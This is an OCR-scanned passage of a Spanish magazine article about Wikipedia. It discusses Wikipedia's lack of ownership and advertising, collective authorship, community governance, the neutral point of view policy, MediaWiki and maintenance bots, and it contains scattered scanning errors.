(un repertorio abierto y 1igre de especies
bioldgicas). Meta-Wiki actda como lugar
de apoyo y coordinacién de todos los
proyectos de la Fundacion Wikimedia,

Sin dueiio, sin publicidad, sin
control

La Wikipedia no tiene duefio y no admite
publicidad, dos armas que le han permiti-
do resistir en la ocupacién de un espacio
verdaderamente piiblico. Decir que Wiki-
pedia no tiene duefio no es formalmente
cierto, aunque (a la inversa de lo que
suele suceder) si lo es materialmente. La
sociedad mercantil Bomis Inc. es la pro-
pietaria legal del dominio wikipedia ad-
ministrado por la Wikimedia Foundation,
pero poco importa, porque (como garan-
tiza la licencia GFDL para ella y para to-
das las obras derivadas) cualquiera puede
venderla, reutilizarla, copiarla, modificar-
la... La wikipedia es de todos y de nadie.
Y eso, en el lenguaje del mercado, se
traduce en un mensaje incémodo: nadie
puede ni podrd poseerla en exclusiva. Un
mensaje incémodo pero no definitivo:
muchas son las estrategias empresariales
desarrolladas para colonizar los espacios
fisicos y virtuales, especialmente si se tra-
ta de una plaza tan transitada como esta.
La estrategia mds evidente y directa es,
naturalmente, la publicidad. En el afio
2002 Bomis Inc. propuso a la comunidad
la inclusi6n de banners publicitarios para
financiar, entre otras cosas, la compra de
servidores, Google habia puesto sobre |a
mesa la oferta més tentadora: incluir sus
Adsense, discretas barras publicitarias en
el margen derecho de los articulos con
enlaces a productos relacionados. Tras
una larga deliberacién, la comunidad de
wikipedistas tomd una decisién firme:
Wikipedia no admite publicidad. Esa
firmeza, sin ernhar%n, y a diferencia de

lo que sucede con la GFDL no es irrevo-
cable, lo que le cost6 a la Wikipedia en
espafol un fork de cuyas consecuencias
todavia no se ha recuperado: La Enciclo-
pedia Universal Libre en Espafiol 1, Lo
cierto es que el crecimiento exponencial
del proyecto Wikipedia plantea serios
problemas de financiacién, basada exclu-
sivamente en donaciones. De momento,
la comunidad resiste a las presiones
publicitarias y se enfrenta a otras formas
mis subliminales de colonizacién em-
presarial: la adicion de enlaces externos
a empresas y la creacion de paginas de
autopromocién, uno de los efectos in-
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deseados del rasgo mds cuestionado del
proyecto: la libre edicion.

La colectivizacion de la
autoria

Como dice Houllebecq “Hace cinco si-
glos que la idea del yo domina el mundo;
ya es hora de tomar otro camino”. Ese
otro camino se recorre hoy en la Wiki-
pedia, donde el autor recupera su sen-
tido original, volviendo a ser aquel que
hace crecer una obra, aumentando sus
contenidos o mejorando su calidad. Los
wikipedistas no suelen inscribirse con su
nombre real, y aungue su huella siempre
queda en el historial de los articulos, son
tantos sus autores y seran tantos mads en
un futuro, que lo que importa vuelve a
ser, mas que nunca, la obra.

El proyecto Wikipedia no sélo ha de-
safiado la individualidad de la autoria (un
autor = una obra), sino también el estatus
del especialista, del autor profesional. To-
das las wikipedias pueden ser modifica-
das por cualquiera, independientemente
de su curriculum. Y es que ser experto o
estar informado no implica ser un pro-
fesional de aquello de lo que uno sabe.
Prodigios menores de edad, profesores
de instituto que decidieron renunciar a
la carrera investigadora y, en general,
amantes de muchos saberes que no son
pagados por amarlos (o que si lo son) es-
criben la Wikipedia. La apuesta por ellos
conlleva una contrapartida inevitable: el
llamado vandalismo que los mismos au-
tores del proyecto se encargan de revertir.
Para ello existen los listados de cambios
recientes y las listas de seguimiento de
cada usuario. Por eso, y a pesar de las
acusaciones de sus criticos, puede decir-
se que la Wikipedia tiene el sistema de
control con mds ojos jamds concebido,

Wikipedia no tiene un editor jefe ni
ningin mecanismo centralizado que con-
trole su progreso, lo que la ha convertido
en un laboratorio de ensayo de nuevas
formas de gobierno colectivo del espacio
piblico. Existen los llamados bibliote-
carios, que votados por la comunidad,
tienen ciertas potestades especiales: fun-
damentalmente, proteger y borrar articu-
los v bloquear a usuarios. Pero todos los
wikipedistas comparten el mayor de los
poderes: la capacidad de crear y editar
articulos. Las pdginas de discusion, tanto
de los articulos como de los usuarios, las
encuestas o las votaciones son el espacio
destinado a la a resolver las diferencias
entre autores.

Lo mds interesante para el desarrollo de
la autoria colectiva son las estrategias adop-
tadas por la comunidad para coordinar sus
frutos. Con este propdsito, v a lo largo de
su gestacion, los autores de la Wikipedia
han ido pactando politicas, tanto de edi-
cién como de contenidos que orientan la
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La Wikipeclia estd llena de bots (robots virfusiies) que impian,
saludan, vigilan y cormigen penmananismente [ gran sncicio-
pedia. [fuenie: Wikimediz Commons, fosncia GFDL]

EL UNIVERSO DE LA
WIKIPEDIA (SOSTENIDO EN
MAS DE 350 SERVIDORES)

ESTA POBLADO POR

MILES DE ACTIVISTAS DEL
CONOCIMIENTO LIBRE,
SUS ROBOTS VIRTUALES, Y
MILLONES DE VISITANTES
CADA DiA

“linea editorial” de la Enciclopedia. Lo que
Wikipedia no es y El Punto de vista neutral
(PVN) constituyen los dos principios basi-
cos que regulan los contenidos de la en-
ciclopedia libre. Wikipedia “no es un foro
de discusién, un diccionario, una gufa de
uso, aganda o abogacia, ensayos per-
sonales, o una mera coleccidn de enlaces.
Los articulos de Wikipedia son articulos de
una enciclopedia.” El PVN establece que
“la enciclopedia debe contener hechos

y que sus articulos deben ser escritos sin
sesgos, presentando adecuadamente todos
los puntos de vista existentes sobre tales
hechos.” Wikipedia tampoco es, por tanto,
la exposicion de lo que la mayoria cree que
es la realidad, como proclaman muchos de
sus detractores.

Hacktivistas de la wikipedia:
conocimiento libre sobre
software libre

Mada de todo lo que venimos contando
seria posible sin una infraestructura libre.
Mediawiki es la plataforma que gestiona
toda la Wikipedia y sus proyectos herma-
nos y se ha convertido en la herramienta de
autoria colectiva mds sofisticada y eficaz
del ciberespacio. ¥ Mediawiki es software
libre, no podia ser de otro modo. Son

innumerables los portales y los proyectos
sociales (como el hackmeeting) que hacen
uso de Mediawiki para coordinar sus activi-
dades o para seguir creando conocimiento
colectivo. 5i nos asomamos a Wikindex 51
podemos explorar algunos de los miles de
portales sobre Mediawiki que, publicando
bajo licencias libres de distinto alcance,
proliferan en la web. Ademas, Mediawiki
constituye el mayor ejemplo de colabo-
racién entre desarrolladoras y usuarias de
una plataforma informdtica: cientos de
programadores (a su vez usuarios y autores
de la Wikipedia) modifican y mejoran la
herramienta integrando sugerencias de las
autoras/usuarias, innovando a través de los
usos imprevisibles de sus varias funciona-
lidadles.

Pero esto no es todo. La ingente can-
tidad de trafico de la Wikipedia exige
automatizar gran cantidad de procesos.
Para ello una pequefio ejército de robots
virtuales (también llamados bots) ha sido
programado para realizar estas tareas. Los
bots exploran constantemente la wikipe-
dia en busca de faltas ortogréficas que
corregir, creando enlaces entre articulos,
cambiando v corrigiendo formatos y
estilos, localizando vandalismos, conta-
bilizando modificaciones y articulos para
crear estadisiticas, saludando a los nuevos
wikipedistas... Muchos de estos bots han
sido creados por usuarias de la wikipedia
sin conocimientos previos de programa-
cin, ayudados por el cédigo fuente de los
bots libres y modificando sus funciones.

El universo de la wikipedia (sostenido
en mas de 350 servidores) estd poblado
por miles de activistas del conocimiento
libre, sus robots virtuales, y millones de
visitantes cada dia. Mientras los guardia-
nes de la propiedad intelectual acechan
en todas las esquinas, Wikipedia continda
creciendo y transformédndose indiferen-
te. Porque su infraestructura técnica, su
licencia y sus autores lo permiten. Nada
mas y nada menos que una enciclopedia,
ese archivo de polvo en las estanterias de
todas las casas, se encuentra entre las diez
‘:»éginas mds visitadas de la Red y uno de
os experimentos de colaboracidn partici-
pativa mas grandes de la historia.

Evhack (evhack.info@gmail.com)

Enlaces

[1] http://wikipedia.org/
[2] http://wikimedia.o

[3] http://stats.wikimedia.org/EN/
TablesWikipediansEditsGt5.htm
[4] http://encicl ia.us.es

[5] http://wikiindex.org/
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